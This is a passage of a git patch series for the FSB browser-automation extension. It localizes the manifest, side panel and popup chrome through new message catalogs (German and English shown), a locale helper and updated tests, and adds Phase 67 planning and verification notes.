fsbUiLocale.boot().then(function () { fsbUiLocale.apply(document); }); +} diff --git a/extension/ui/sidepanel.html b/extension/ui/sidepanel.html index 2d3ca967f..0d6b608a3 100644 --- a/extension/ui/sidepanel.html +++ b/extension/ui/sidepanel.html @@ -13,23 +13,23 @@
-

FSB

- Persistent workspace +

FSB

+ Persistent workspace
- Ready - Side panel input is disabled while automation is working on this tab + Ready + Side panel input is disabled while automation is working on this tab
- - -
@@ -37,10 +37,10 @@

FSB

0s - Automation running + Automation running
@@ -111,13 +111,13 @@

Session History

aria-multiline="true" >
- - -
@@ -138,7 +138,7 @@

Session History

- Confirm Payment Fill + Confirm Payment Fill
@@ -146,11 +146,11 @@

Session History

-

Card details will be filled into the form fields. FSB will not submit the payment.

+

Card details will be filled into the form fields. FSB will not submit the payment.

- - + +
@@ -170,6 +170,7 @@

Session History

+ diff --git a/extension/ui/sidepanel.js b/extension/ui/sidepanel.js index b3336e71e..2226f79a7 100644 --- a/extension/ui/sidepanel.js +++ b/extension/ui/sidepanel.js @@ -7020,3 +7020,8 @@ console.log(`FSB v${chrome.runtime.getManifest().version} side panel script load // return schedule.type; // } // } + + +if (globalThis.fsbUiLocale && typeof fsbUiLocale.boot === 'function') { + fsbUiLocale.boot().then(function () { fsbUiLocale.apply(document); }); +} diff --git a/extension/utils/ui-locale.js b/extension/utils/ui-locale.js index 2884d33dd..a1f0f9f66 100644 --- a/extension/utils/ui-locale.js +++ b/extension/utils/ui-locale.js @@ -99,6 +99,12 @@ return applySubs(msg, subs); } + function text(key, english) { + var value = t(key); + if (typeof value !== 'string' || value.length === 0 || value === key) return english; + return value; + } + function setCatalog(code, messages) { if (!isPublicLocale(code)) return; catalogs[code] = messages || {}; @@ -199,6 +205,7 @@ folderFor: folderFor, resolveLocale: resolveLocale, t: t, + text: text, apply: apply, setCatalog: setCatalog, setBrowserTag: setBrowserTag, diff --git a/scripts/sync-product-version.mjs b/scripts/sync-product-version.mjs index 2f5b61324..3f2a6e5c1 100644 --- a/scripts/sync-product-version.mjs +++ b/scripts/sync-product-version.mjs @@ -370,7 +370,8 @@ function setExtensionVersion(version) { const manifest = readJson('extension/manifest.json'); manifest.version = version; - manifest.name = `FSB v${version}`; + manifest.name = '__MSG_ext_name__'; + manifest.description = '__MSG_ext_description__'; changed.push(writeJson('extension/manifest.json', manifest)); const rootPackage = readJson('package.json'); @@ -489,7 +490,8 @@ function collectParityErrors() { equal(lock.packages?.['']?.version, expected, `${label} lock root version`); }; - equal(manifest.name, `FSB v${extensionVersion}`, 'extension manifest name'); + equal(manifest.name, '__MSG_ext_name__', 'extension manifest name'); + equal(manifest.description, '__MSG_ext_description__', 'extension manifest description'); for (const [packagePath, lockPath, label] of [ ['package.json', 'package-lock.json', 'root package'], ['showcase/angular/package.json', 'showcase/angular/package-lock.json', 'Angular showcase'], diff --git a/tests/version-sync.test.js b/tests/version-sync.test.js index 566acb625..c196ca5aa 100644 --- a/tests/version-sync.test.js +++ b/tests/version-sync.test.js @@ -200,7 +200,8 @@ function main() { 'extension setter changed MCP-owned files', ); assert.equal(readJson(fixtureRoot, 'extension/manifest.json').version, nextExtensionVersion); - assert.equal(readJson(fixtureRoot, 'extension/manifest.json').name, `FSB v${nextExtensionVersion}`); + assert.equal(readJson(fixtureRoot, 'extension/manifest.json').name, '__MSG_ext_name__'); + assert.equal(readJson(fixtureRoot, 'extension/manifest.json').description, '__MSG_ext_description__'); for (const [packagePath, lockPath] of [ ['package.json', 'package-lock.json'], ['showcase/angular/package.json', 'showcase/angular/package-lock.json'], From 49c972f7dd36cf3813b4af97471a7331598785d6 Mon Sep 17 00:00:00 2001 From: LakshmanTurlapati Date: Sun, 11 Oct 2026 06:47:38 -0500 Subject: [PATCH 07/57] feat(67-01): localize side panel and popup runtime chrome --- .planning/REQUIREMENTS.md | 12 +- .planning/ROADMAP.md | 7 +- .planning/STATE.md | 20 +- .../67-01-PLAN.md | 25 ++ .../67-01-SUMMARY.md | 47 +++ .../67-CONTEXT.md | 60 ++++ .../67-REVIEW.md | 10 + .../67-UI-SPEC.md | 3 + .../67-VERIFICATION.md | 18 + extension/_locales/de/messages.json | 311 ++++++++++++++++++ extension/_locales/en/messages.json | 311 ++++++++++++++++++ extension/_locales/es/messages.json | 311 ++++++++++++++++++ extension/_locales/ja/messages.json | 311 ++++++++++++++++++ extension/_locales/ko/messages.json | 311 ++++++++++++++++++ extension/_locales/zh_CN/messages.json | 311 ++++++++++++++++++ extension/_locales/zh_TW/messages.json | 311 ++++++++++++++++++ extension/ui/owner-chip.js | 6 +- extension/ui/popup.js | 56 +++- extension/ui/sidepanel.js | 107 ++++-- extension/utils/ui-locale.js | 131 +++++++- tests/delegation-sidepanel-ui.test.js | 4 +- tests/extension-ui-locale.test.js | 18 + tests/sidepanel-tab-aware-smoke.test.js | 2 +- 23 files changed, 2635 insertions(+), 68 deletions(-) create mode 100644 .planning/phases/67-manifest-side-panel-and-popup/67-01-PLAN.md create mode 100644 .planning/phases/67-manifest-side-panel-and-popup/67-01-SUMMARY.md create mode 100644 .planning/phases/67-manifest-side-panel-and-popup/67-CONTEXT.md create mode 100644 .planning/phases/67-manifest-side-panel-and-popup/67-REVIEW.md create mode 100644 .planning/phases/67-manifest-side-panel-and-popup/67-UI-SPEC.md create mode 100644 .planning/phases/67-manifest-side-panel-and-popup/67-VERIFICATION.md diff --git a/.planning/REQUIREMENTS.md b/.planning/REQUIREMENTS.md index 89efc0737..0b451e746 100644 --- a/.planning/REQUIREMENTS.md +++ b/.planning/REQUIREMENTS.md @@ -19,9 +19,9 @@ ### Shell chrome -- [ ] **SHELL-01**: Chrome shows a localized extension name and description for each of the seven locales. `FSB` stays untranslated. The manifest `version` field stays the version. -- [ ] **SHELL-02**: Side-panel package-owned labels, buttons, empty states, and status text render in the active locale. -- [ ] **SHELL-03**: Popup package-owned labels, buttons, and status text render in the active locale. +- [x] **SHELL-01**: Chrome shows a localized extension name and description for each of the seven locales. `FSB` stays untranslated. The manifest `version` field stays the version. +- [x] **SHELL-02**: Side-panel package-owned labels, buttons, empty states, and status text render in the active locale. +- [x] **SHELL-03**: Popup package-owned labels, buttons, and status text render in the active locale. ### Settings @@ -84,9 +84,9 @@ Which phases cover which requirements. Updated during roadmap creation. | QUAL-01 | Phase 66 | Complete | | QUAL-02 | Phase 66 | Complete | | QUAL-03 | Phase 66 | Complete | -| SHELL-01 | Phase 67 | Pending | -| SHELL-02 | Phase 67 | Pending | -| SHELL-03 | Phase 67 | Pending | +| SHELL-01 | Phase 67 | Complete | +| SHELL-02 | Phase 67 | Complete | +| SHELL-03 | Phase 67 | Complete | | SET-01 | Phase 68 | Pending | | ENTRY-01 | Phase 69 | Pending | | ENTRY-02 | Phase 69 | Pending | diff --git a/.planning/ROADMAP.md b/.planning/ROADMAP.md index c90370c86..a5a3f0794 100644 --- a/.planning/ROADMAP.md +++ b/.planning/ROADMAP.md @@ -31,7 +31,7 @@ - Decimal phases (66.1, 66.2): Urgent insertions (marked with INSERTED) - [x] **Phase 66: Locale plumbing and CI gate** - Seed catalogs, the runtime resolver, manifest `default_locale`, and a CI gate that fails on a missing key, an empty message, a placeholder change, or copied English (completed 2026-10-11) -- [ ] **Phase 67: Manifest, side panel, and popup** - Localized store identity plus side-panel and popup chrome, with all six translations in the same change +- [x] **Phase 67: Manifest, side panel, and popup** - Localized store identity plus side-panel and popup chrome, with all six translations in the same change - [ ] **Phase 68: Options and control panel** - Localized options and control-panel chrome, the largest surface - [ ] **Phase 69: Onboarding, entry pages, and overlay chrome** - Localized onboarding, unlock, microphone permission, and FSB-authored overlay labels - [ ] **Phase 70: Coverage audit** - CI fails if in-scope files still contain package-owned English prose outside the catalog @@ -61,7 +61,8 @@ 2. Opening the side panel in Spanish shows Spanish labels, buttons, empty states, and status text for package-owned chrome. User-typed text and model output stay as they were. 3. Opening the popup in Korean shows Korean package-owned chrome, including button titles and status text. 4. Every key added in this phase exists in all seven catalogs with matching placeholders, and the Phase 66 gate stays green. -**Plans**: TBD +**Plans**: 1/1 complete +- [x] 67-01: Manifest tokens, resting chrome, and runtime status text. **UI hint**: yes ### Phase 68: Options and control panel @@ -117,4 +118,4 @@ --- *Roadmap created: 2026-10-11* -*Execution has not started.* +*Phase 67 passed: 2026-10-11* diff --git a/.planning/STATE.md b/.planning/STATE.md index 4b26956cd..baff3588a 100644 --- a/.planning/STATE.md +++ b/.planning/STATE.md @@ -2,15 +2,15 @@ gsd_state_version: 1.0 milestone: v1.3.0 milestone_name: Extension multilingual UI -status: planning -last_updated: "2026-10-11T10:43:34.221Z" +status: executing +last_updated: "2026-10-11T12:00:00.000Z" last_activity: 2026-10-11 progress: total_phases: 6 - completed_phases: 1 - total_plans: 1 - completed_plans: 1 - percent: 17 + completed_phases: 2 + total_plans: 2 + completed_plans: 2 + percent: 33 --- *Note: progress counts in the frontmatter are for v1.3.0 only. v0.9.91 is paused, not shipped. Its snapshot is `.planning/milestones/v0.9.91-STATE.md`.* @@ -37,10 +37,10 @@ The sections below this banner are accumulated decisions from earlier milestones ## Current Position -Phase: 67 — Manifest, side panel, and popup (in progress) -Plan: 67 shell chrome landed; dynamic JS copy remains -Status: Phase 66 passed. Phase 67 resting chrome is localized. Phases 68-71 have not started. -Last activity: 2026-10-11 — Manifest name, description, and side panel/popup resting chrome localized +Phase: 68 — Options and control panel (not started) +Plan: — +Status: Phase 67 passed. Execution continues. +Last activity: 2026-10-11 — Phase 67 manifest, side panel, and popup chrome passed ## Roadmap At A Glance (v0.9.91, Phases 57-65) diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-01-PLAN.md b/.planning/phases/67-manifest-side-panel-and-popup/67-01-PLAN.md new file mode 100644 index 000000000..c79730622 --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-01-PLAN.md @@ -0,0 +1,25 @@ +# Phase 67 Plan 01: Manifest, side panel, and popup chrome + + +Show localized store identity and package-owned side-panel and popup chrome in the active locale. + + + + + +Manifest tokens and resting chrome +extension/manifest.json, extension/ui/popup.html, extension/ui/sidepanel.html, extension/_locales/**/messages.json, scripts/sync-product-version.mjs + +Point the manifest name and description at message tokens. Mark resting side-panel and popup chrome with data-i18n. Keep FSB untranslated and keep the version field as the version. + + + + +Runtime status text +extension/utils/ui-locale.js, extension/ui/popup.js, extension/ui/sidepanel.js, extension/ui/owner-chip.js + +Translate exact package-owned status, button, empty-state, and delegation strings through markExact. Translate popup error and API-test lines through text(). Refresh tagged nodes after boot. + + + + diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-01-SUMMARY.md b/.planning/phases/67-manifest-side-panel-and-popup/67-01-SUMMARY.md new file mode 100644 index 000000000..343a56a9c --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-01-SUMMARY.md @@ -0,0 +1,47 @@ +--- +phase: 67-manifest-side-panel-and-popup +plan: "01" +subsystem: extension-i18n +tags: [i18n, sidepanel, popup, manifest] + +requires: [66-01] +provides: + - Localized extension name and description + - Side panel and popup package-owned chrome from the seven catalogs +affects: [68-options-and-control-panel] + +tech-stack: + added: [] + patterns: + - data-i18n for resting HTML + - markExact for exact runtime chrome, refreshed after boot + - text(key, english, subs) for dynamic popup status + +key-files: + created: [] + modified: + - extension/manifest.json + - extension/utils/ui-locale.js + - extension/ui/popup.html + - extension/ui/popup.js + - extension/ui/sidepanel.html + - extension/ui/sidepanel.js + - extension/ui/owner-chip.js + - extension/_locales/en/messages.json + +key-decisions: + - "Manifest __MSG_ strings follow the browser language. The in-extension override applies through the runtime catalog." + - "User, AI, and action messages are not translated." + +requirements-completed: [SHELL-01, SHELL-02, SHELL-03] + +duration: 1 session +completed: 2026-10-11 +status: passed +--- + +# Phase 67 Plan 01 Summary + +The store name is `FSB` in every locale, and the description is translated. Side panel and popup chrome that is visible at rest, plus the primary runtime status lines, come from the catalogs. A saved locale replaces those strings after the catalogs load. Tests that do not load a catalog still see the English fallback. + +Concatenated provider-specific sentences that are not an exact catalog match stay for the Phase 70 coverage check. diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-CONTEXT.md b/.planning/phases/67-manifest-side-panel-and-popup/67-CONTEXT.md new file mode 100644 index 000000000..8a96b78fa --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-CONTEXT.md @@ -0,0 +1,60 @@ +# Phase 67: Manifest, side panel, and popup - Context + +**Gathered:** 2026-10-11 +**Status:** Ready for planning +**Mode:** Autonomous smart discuss. Recommended answers accepted because this runtime has no interactive question tool and the milestone brief already locked these choices. + + +## Phase Boundary + +The store identity, side panel, and popup show package-owned chrome in the active locale. User-typed text, model output, and protocol identifiers stay raw. + + + + +## Implementation Decisions + +### Manifest +- `name` is `__MSG_ext_name__` and `description` is `__MSG_ext_description__`. +- `ext_name` is the allowlisted brand `FSB` in every locale. +- The manifest `version` field stays the version. Version sync writes the message tokens, not `FSB v${version}`. +- `chrome://extensions` follows the browser language only. The in-extension override cannot change `__MSG_` strings. + +### Runtime chrome +- Resting HTML uses `data-i18n` and `data-i18n-attr`. +- Exact package-owned strings go through `fsbUiLocale.markExact`, which tags the node and refreshes it after catalogs load. +- Dynamic popup errors use `text(key, english, subs)`. The English sentence stays in the source as the fallback. +- User, AI, and action messages are not passed through `markExact`. +- Node tests that do not load catalogs still see the English fallback. + +### the agent's Discretion +- Message keys use the `shell_` prefix. No dots. +- A short English flash before `boot()` resolves is acceptable. `apply()` then replaces tagged nodes. + + + + +## Existing Code Insights + +- `extension/utils/ui-locale.js` already resolves locales and loads the seven catalogs. +- Side panel and popup scripts are classic scripts. Extracted-function tests cannot see a sibling helper, so call sites guard on `globalThis.fsbUiLocale`. +- Source-pin tests require the English sentence to remain in the file. + + + + +## Specific Ideas + +Opening the side panel in Spanish and the popup in Korean must show translated package-owned chrome, including Ready, Working, button titles, and the primary status lines. + + + + +## Deferred Ideas + +- Options and the control panel (Phase 68). +- Onboarding, unlock, microphone permission, and overlay chrome (Phase 69). +- Concatenated provider-specific sentences that are not exact catalog matches (Phase 70 coverage). +- The language control (Phase 71). + + diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-REVIEW.md b/.planning/phases/67-manifest-side-panel-and-popup/67-REVIEW.md new file mode 100644 index 000000000..3ffd955d8 --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-REVIEW.md @@ -0,0 +1,10 @@ +--- +phase: 67 +status: clean +--- + +# Phase 67 Review + +Inline review. The reviewer subagent is not available in this runtime. + +No blocking defect. `markExact` skips user, AI, and action messages. Extracted-function tests still see English because they do not load the catalogs. The side-panel HTML hash was rolled only for the locale markers and the locale script. diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-UI-SPEC.md b/.planning/phases/67-manifest-side-panel-and-popup/67-UI-SPEC.md new file mode 100644 index 000000000..e6a22f197 --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-UI-SPEC.md @@ -0,0 +1,3 @@ +# Phase 67 UI spec + +No layout, color, or control changes. Existing buttons, headings, and status text keep their positions. Only the string changes with the active locale. Native autonyms are Phase 71. diff --git a/.planning/phases/67-manifest-side-panel-and-popup/67-VERIFICATION.md b/.planning/phases/67-manifest-side-panel-and-popup/67-VERIFICATION.md new file mode 100644 index 000000000..7acee1082 --- /dev/null +++ b/.planning/phases/67-manifest-side-panel-and-popup/67-VERIFICATION.md @@ -0,0 +1,18 @@ +--- +phase: 67 +status: passed +score: 4/4 +--- + +# Phase 67 Verification + +**Status:** passed + +## Must-haves + +1. The manifest name and description are `__MSG_ext_name__` and `__MSG_ext_description__`. `ext_name` is the allowlisted brand `FSB`. The version field is still `0.9.92`. `node tests/version-sync.test.js` passed. +2. Side-panel resting chrome and exact runtime status, button, empty-state, and primary delegation strings are catalog keys in all seven locales. `markExact` refreshes them after boot. +3. Popup button titles, the Ready / Working / Error header, and the popup error and API-test lines resolve through the catalog. Korean is one of the seven catalogs the gate checks. +4. `node tests/extension-ui-locale.test.js` passed 110 checks, including the live gate. `node tests/owner-chip.test.js` passed 88. `node tests/delegation-sidepanel-ui.test.js` passed. `node tests/sidepanel-tab-aware-smoke.test.js` passed 50. + +No human verification items. Browser rendering of the side panel was not opened in this run; the catalog and DOM hooks are covered by the unit tests above. diff --git a/extension/_locales/de/messages.json b/extension/_locales/de/messages.json index 15d57997e..834a422a2 100644 --- a/extension/_locales/de/messages.json +++ b/extension/_locales/de/messages.json @@ -85,5 +85,316 @@ }, "shell_new_chat": { "message": "Neuen Chat starten" + }, + "shell_welcome": { + "message": "Willkommen bei FSB. Wobei kann ich helfen?" + }, + "shell_no_automation": { + "message": "Es läuft keine Automatisierung, die gestoppt werden kann." + }, + "shell_stopped": { + "message": "Automatisierung gestoppt. Sag Bescheid, wenn du weitere Hilfe brauchst." + }, + "shell_partial": { + "message": "Teilergebnis" + }, + "shell_try_again": { + "message": "Möchtest du es erneut versuchen? " + }, + "shell_retry": { + "message": "Erneut versuchen" + }, + "shell_switched_popup": { + "message": "In den Popup-Modus gewechselt. Die Erweiterung schließt sich beim Klick außerhalb." + }, + "shell_persistent": { + "message": "Läuft in einem dauerhaften Fenster." + }, + "shell_try_again_help": { + "message": "Sag Bescheid, wenn du es erneut versuchen oder weitere Hilfe möchtest." + }, + "shell_locked_tab": { + "message": "Deaktiviert, während die Automatisierung in diesem Tab arbeitet" + }, + "shell_doctor_copied": { + "message": "Diagnosebefehl kopiert" + }, + "shell_pair_copied": { + "message": "Befehl zum Zurücksetzen der Kopplung kopiert" + }, + "shell_install_copied": { + "message": "Installationsbefehl für den nativen Helfer kopiert" + }, + "shell_site_map_ready": { + "message": "Die Sitemap ist bereit. Aufgabe erneut versuchen? " + }, + "shell_retry_sitemap": { + "message": "Mit Sitemap erneut versuchen" + }, + "shell_locked_ext": { + "message": "Die Erweiterung ist gesperrt. Entsperre sie zuerst über das Popup." + }, + "shell_already_done": { + "message": "Bereits abgeschlossen" + }, + "shell_session_ended": { + "message": "Die Sitzung wurde unerwartet beendet. Bereit für die nächste Aufgabe." + }, + "shell_no_map": { + "message": "Für diese Website gibt es noch keine Karte. Eine Erkundung hilft FSB, die Struktur der Website für eine bessere Leistung zu lernen." + }, + "shell_run_recon": { + "message": "Erkundung starten" + }, + "shell_stuck": { + "message": "Die Automatisierung hat dieselben Aktionen wiederholt. Ein paar Hinweise:" + }, + "shell_tip_specific": { + "message": "Beschreibe genauer, was du erreichen möchtest" + }, + "shell_tip_captcha": { + "message": "Prüfe, ob die Seite manuelle Schritte wie das Lösen eines CAPTCHA verlangt" + }, + "shell_tip_loaded": { + "message": "Warte, bis die Seite vollständig geladen ist, bevor du startest" + }, + "shell_no_worries": { + "message": "Kein Problem. Das Seitenpanel ist noch da. Versuch es erneut oder frag nach Hilfe bei etwas anderem." + }, + "shell_password": { + "message": "Passwort" + }, + "shell_signing_in": { + "message": "Anmeldung läuft..." + }, + "shell_login_skipped": { + "message": "Anmeldung übersprungen. Automatisierung wird fortgesetzt..." + }, + "shell_payment_selected": { + "message": "Eine gespeicherte Zahlungsmethode wurde ausgewählt. FSB füllt die Kartendaten aus, sendet die Zahlung aber nicht für dich ab." + }, + "shell_payment_skipped": { + "message": "Die gespeicherte Zahlungsmethode wurde übersprungen. Prüfe das Zahlungsformular vor dem letzten Zahlungsschritt." + }, + "shell_replay_preview": { + "message": "Geprüfte Wiedergabevorschau" + }, + "shell_fresh_tab_fallback": { + "message": "Neuer Tab der aufgezeichneten Website" + }, + "shell_approve_replay": { + "message": "Wiedergabe genehmigen" + }, + "shell_cancel": { + "message": "Abbrechen" + }, + "shell_replay_busy": { + "message": "Wiedergabe ist nicht möglich, solange eine andere Automatisierung läuft. Stoppe zuerst die aktuelle Aufgabe." + }, + "shell_replay_cancelled_request": { + "message": "Wiedergabeanfrage abgebrochen. Es wurden keine Ziel-Tabs geöffnet." + }, + "shell_replay_inspect_only": { + "message": "Diese Aufnahme ist zur Prüfung verifiziert, enthält aber keine ausführbaren Schritte." + }, + "shell_replay_cancelled": { + "message": "Wiedergabe abgebrochen. Die ursprüngliche Aufnahme wurde nicht geändert." + }, + "shell_session_missing": { + "message": "Sitzungsdaten wurden nicht gefunden." + }, + "shell_no_actions": { + "message": "In dieser Sitzung wurden keine Aktionen aufgezeichnet." + }, + "shell_history_failed": { + "message": "Sitzungen konnten nicht geladen werden." + }, + "shell_replay_session": { + "message": "Sitzung wiedergeben" + }, + "shell_delete_session": { + "message": "Sitzung löschen" + }, + "shell_autopilot": { + "message": "Automatik" + }, + "shell_checking_local": { + "message": "Lokaler Agentendienst wird geprüft" + }, + "shell_checking_local_sent": { + "message": "Lokaler Agentendienst wird geprüft. Deine Nachricht wurde nicht gesendet." + }, + "shell_wake_body": { + "message": "FSB versucht, den lokalen Agentendienst verfügbar zu machen. Deine Nachricht wurde nicht gesendet." + }, + "shell_checking_agent": { + "message": "Agentendienst wird geprüft" + }, + "shell_agent_offline": { + "message": "Agent ist offline" + }, + "shell_offline_body": { + "message": "FSB kann den lokalen Agentendienst nicht erreichen. Führe den Diagnosebefehl aus und versuche diese Nachricht erneut." + }, + "shell_copy_doctor": { + "message": "Diagnosebefehl kopieren" + }, + "shell_open_provider": { + "message": "Anbieter-Setup öffnen" + }, + "shell_needs_helper": { + "message": "Die automatische Verbindung braucht den nativen Helfer" + }, + "shell_install_body": { + "message": "Installiere oder aktualisiere den nativen FSB-Helfer und versuche diese Nachricht erneut. FSB verbindet diesen Browser automatisch." + }, + "shell_copy_install": { + "message": "Installationsbefehl kopieren" + }, + "shell_back_to_message": { + "message": "Zurück zur Nachricht" + }, + "shell_checking_provider": { + "message": "Anbieter wird geprüft" + }, + "shell_checking_provider_body": { + "message": "FSB prüft deinen AI-Anbieter, bevor deine Nachricht gesendet wird." + }, + "shell_starting_agent": { + "message": "Agent wird gestartet" + }, + "shell_starting_agent_body": { + "message": "FSB übergibt deine Nachricht an den Agenten." + }, + "shell_owned_by": { + "message": "Verwendet von $LABEL$", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_owned_title": { + "message": "Deaktiviert, solange der Tab von $LABEL$ verwendet wird", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_error_encountered": { + "message": "Es ist ein Fehler aufgetreten: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_generic": { + "message": "Etwas ist schiefgelaufen: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_background": { + "message": "Fehler bei der Kommunikation mit dem Hintergrundskript: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_stop": { + "message": "Fehler beim Stoppen der Automatisierung: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_starting": { + "message": "Automatisierung wird gestartet..." + }, + "shell_continuing": { + "message": "Wird fortgesetzt..." + }, + "shell_connecting": { + "message": "Verbindung zur Seite wird hergestellt..." + }, + "shell_connected_analyzing": { + "message": "Verbunden. Seite wird analysiert..." + }, + "shell_analyzing": { + "message": "Seite wird analysiert..." + }, + "shell_starting_plain": { + "message": "Automatisierung wird gestartet" + }, + "shell_testing_api": { + "message": "API-Verbindung von $NAME$ wird getestet...", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_ok": { + "message": "Die API-Verbindung von $NAME$ funktioniert.", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_model": { + "message": "Verbunden mit Modell: $MODEL$", + "placeholders": { + "model": { + "content": "$1" + } + } + }, + "shell_api_failed": { + "message": "Die API-Verbindung von $NAME$ ist fehlgeschlagen. Prüfe die Einstellungen.", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_status": { + "message": "Zustand: $STATUS$ - $DETAIL$", + "placeholders": { + "status": { + "content": "$1" + }, + "detail": { + "content": "$2" + } + } + }, + "shell_api_details": { + "message": "Einzelheiten: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_details": { + "message": "Fehlerdetails: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_working": { + "message": "Arbeitet" + }, + "shell_error_status": { + "message": "Fehler" } } diff --git a/extension/_locales/en/messages.json b/extension/_locales/en/messages.json index e4e06df1b..dcb9be3cf 100644 --- a/extension/_locales/en/messages.json +++ b/extension/_locales/en/messages.json @@ -85,5 +85,316 @@ }, "shell_new_chat": { "message": "Start New Chat" + }, + "shell_welcome": { + "message": "Welcome to FSB. How can I help?" + }, + "shell_no_automation": { + "message": "No active automation to stop." + }, + "shell_stopped": { + "message": "Automation stopped. Let me know if you need help with anything else!" + }, + "shell_partial": { + "message": "Partial result" + }, + "shell_try_again": { + "message": "Would you like to try again? " + }, + "shell_retry": { + "message": "Retry" + }, + "shell_switched_popup": { + "message": "Switched to popup mode. Extension will close when clicked outside." + }, + "shell_persistent": { + "message": "Running in persistent window mode." + }, + "shell_try_again_help": { + "message": "Let me know if you'd like to try again or need help with something else." + }, + "shell_locked_tab": { + "message": "Disabled while automation is working on this tab" + }, + "shell_doctor_copied": { + "message": "Doctor command copied" + }, + "shell_pair_copied": { + "message": "Pairing reset command copied" + }, + "shell_install_copied": { + "message": "Native helper install command copied" + }, + "shell_site_map_ready": { + "message": "Site map ready. Retry your task? " + }, + "shell_retry_sitemap": { + "message": "Retry with Site Map" + }, + "shell_locked_ext": { + "message": "Extension is locked. Please unlock it first by opening the popup." + }, + "shell_already_done": { + "message": "Already completed" + }, + "shell_session_ended": { + "message": "Session ended unexpectedly. Ready for your next task." + }, + "shell_no_map": { + "message": "This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance." + }, + "shell_run_recon": { + "message": "Run Reconnaissance" + }, + "shell_stuck": { + "message": "The automation got stuck repeating the same actions. Here are some tips:" + }, + "shell_tip_specific": { + "message": "Try being more specific about what you want to achieve" + }, + "shell_tip_captcha": { + "message": "Check if the page requires manual steps like CAPTCHA solving" + }, + "shell_tip_loaded": { + "message": "Ensure the page has fully loaded before starting" + }, + "shell_no_worries": { + "message": "No worries! The side panel is still here. Try again or ask for help with something else." + }, + "shell_password": { + "message": "Password" + }, + "shell_signing_in": { + "message": "Signing in..." + }, + "shell_login_skipped": { + "message": "Login skipped. Continuing automation..." + }, + "shell_payment_selected": { + "message": "Saved payment method selected. FSB will fill the card details, but it will not submit the final payment for you." + }, + "shell_payment_skipped": { + "message": "Saved payment method skipped. Review the checkout form manually before any final payment step." + }, + "shell_replay_preview": { + "message": "Verified replay preview" + }, + "shell_fresh_tab_fallback": { + "message": "Fresh recorded-site tab" + }, + "shell_approve_replay": { + "message": "Approve replay" + }, + "shell_cancel": { + "message": "Cancel" + }, + "shell_replay_busy": { + "message": "Cannot replay while another automation is running. Stop the current task first." + }, + "shell_replay_cancelled_request": { + "message": "Replay request cancelled. No target tabs were opened." + }, + "shell_replay_inspect_only": { + "message": "This recording is verified for inspection, but it has no executable steps." + }, + "shell_replay_cancelled": { + "message": "Replay cancelled. The original recording was not changed." + }, + "shell_session_missing": { + "message": "Session data not found." + }, + "shell_no_actions": { + "message": "No actions were recorded in this session." + }, + "shell_history_failed": { + "message": "Failed to load sessions." + }, + "shell_replay_session": { + "message": "Replay session" + }, + "shell_delete_session": { + "message": "Delete session" + }, + "shell_autopilot": { + "message": "Autopilot" + }, + "shell_checking_local": { + "message": "Checking local agent service" + }, + "shell_checking_local_sent": { + "message": "Checking local agent service. Your message has not been sent." + }, + "shell_wake_body": { + "message": "FSB is trying to make the local agent service available. Your message has not been sent." + }, + "shell_checking_agent": { + "message": "Checking agent service" + }, + "shell_agent_offline": { + "message": "Agent offline" + }, + "shell_offline_body": { + "message": "FSB cannot reach the local agent service. Run the doctor command, then try this message again." + }, + "shell_copy_doctor": { + "message": "Copy doctor command" + }, + "shell_open_provider": { + "message": "Open provider setup" + }, + "shell_needs_helper": { + "message": "Automatic connection needs the native helper" + }, + "shell_install_body": { + "message": "Install or update the FSB native helper, then try this message again. FSB will connect this browser automatically." + }, + "shell_copy_install": { + "message": "Copy install command" + }, + "shell_back_to_message": { + "message": "Back to message" + }, + "shell_checking_provider": { + "message": "Checking provider" + }, + "shell_checking_provider_body": { + "message": "FSB is checking your AI provider before sending your message." + }, + "shell_starting_agent": { + "message": "Starting agent" + }, + "shell_starting_agent_body": { + "message": "FSB is handing your message to the agent." + }, + "shell_owned_by": { + "message": "Owned by $LABEL$", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_owned_title": { + "message": "Disabled while tab is owned by $LABEL$", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_error_encountered": { + "message": "I encountered an error: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_generic": { + "message": "Something went wrong: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_background": { + "message": "Error communicating with background script: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_stop": { + "message": "Error stopping automation: $ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_starting": { + "message": "Starting automation..." + }, + "shell_continuing": { + "message": "Continuing..." + }, + "shell_connecting": { + "message": "Connecting to page..." + }, + "shell_connected_analyzing": { + "message": "Connected. Analyzing page..." + }, + "shell_analyzing": { + "message": "Analyzing page..." + }, + "shell_starting_plain": { + "message": "Starting automation" + }, + "shell_testing_api": { + "message": "Testing $NAME$ API connection...", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_ok": { + "message": "$NAME$ API connection is working.", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_model": { + "message": "Connected to model: $MODEL$", + "placeholders": { + "model": { + "content": "$1" + } + } + }, + "shell_api_failed": { + 